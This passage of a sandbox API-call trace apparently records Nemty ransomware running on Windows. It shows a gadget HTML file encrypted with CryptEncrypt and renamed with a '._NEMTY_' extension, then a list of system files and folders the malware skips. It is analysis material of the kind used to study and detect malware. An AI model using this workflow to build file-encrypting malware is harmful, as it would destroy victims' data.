dwFlags=0x0, lpWideCharStr="picturePuzzle.html", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0134.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.html", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.html", lpUsedDefaultChar=0x0) returned 18 [0134.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0134.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.html", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0134.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.html", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.html", lpUsedDefaultChar=0x0) returned 18 [0134.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0134.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0134.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0134.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.html", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0134.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.html", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.html", lpUsedDefaultChar=0x0) returned 18 [0134.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0134.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0134.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.html", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0134.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.html", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.html", lpUsedDefaultChar=0x0) returned 18 [0134.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0134.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0134.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0134.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0134.598] Sleep (dwMilliseconds=0x5) [0134.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3e17d90, dwHighDateTime=0x1d561e8)) [0134.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3e17d90, dwHighDateTime=0x1d561e8)) [0134.610] GetLastError () returned 0x12 [0134.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.610] GetLastError () returned 0x12 [0134.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0134.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0134.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0134.611] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0134.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0134.611] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="QZSwq0eg/uNbs3xsmryMTZjhjmOh5+5wJ/l6eeLz8LPgvW6hc3XOCp5vICaVLW4h\r\n2M6glmLBCUsKF7MjIa/Gqg4Gaibvq/t1nWvIXiwYYpoV6w1I6QhWrnEpYLmvkbVv\r\nN6mZ/LDVufysnh3oMjAbC+GEe0airlBKkItpACjvVZjIF21RCk9ubwqQPTdji0T+\r\nAMfHRIJrbylXzvUh8gLh064J9xJdygZk66O5CGUZfQlzRy/kJDqglhJDlv1itvTU\r\nmS1J4VMsZoadoC2gHXNTxuQvNxpmN/yhBPTwD/2w4UTDdns/WYEshtW1e6xVrskR\r\nsbDIY18Ed0amfBAFDweuug==\r\n", pcchString=0x653e91c) returned 1 [0134.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0134.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0134.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0134.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0134.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0134.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0134.611] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\picturePuzzle.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\picturepuzzle.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.611] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0134.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0134.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.724] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.724] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0134.725] CloseHandle (hObject=0xffffffff) returned 0 [0134.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0134.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0134.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0134.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0134.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0134.725] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\picturePuzzle.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\picturepuzzle.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\picturePuzzle.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\picturepuzzle.html._nemty_kgobjgd_")) returned 0 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.725] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0134.725] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1 [0134.725] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1 [0134.725] lstrcmpiW (lpString1="settings.html", lpString2="...") returned 1 [0134.725] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1 [0134.725] lstrcmpiW (lpString1="settings.html", lpString2="$RECYCLE.BIN") returned 1 [0134.725] lstrcmpiW (lpString1="settings.html", lpString2="rsa") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="NTDETECT.COM") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="ntldr") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="MSDOS.SYS") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="IO.SYS") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="AUTOEXEC.BAT") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="desktop.ini") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="CONFIG.SYS") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="RECYCLER") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="BOOTSECT.BAK") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="programdata") returned 1 [0134.726] lstrcmpiW (lpString1="settings.html", lpString2="appdata") returned 1 [0134.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0134.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0134.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0134.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0134.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0134.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0134.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0134.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, 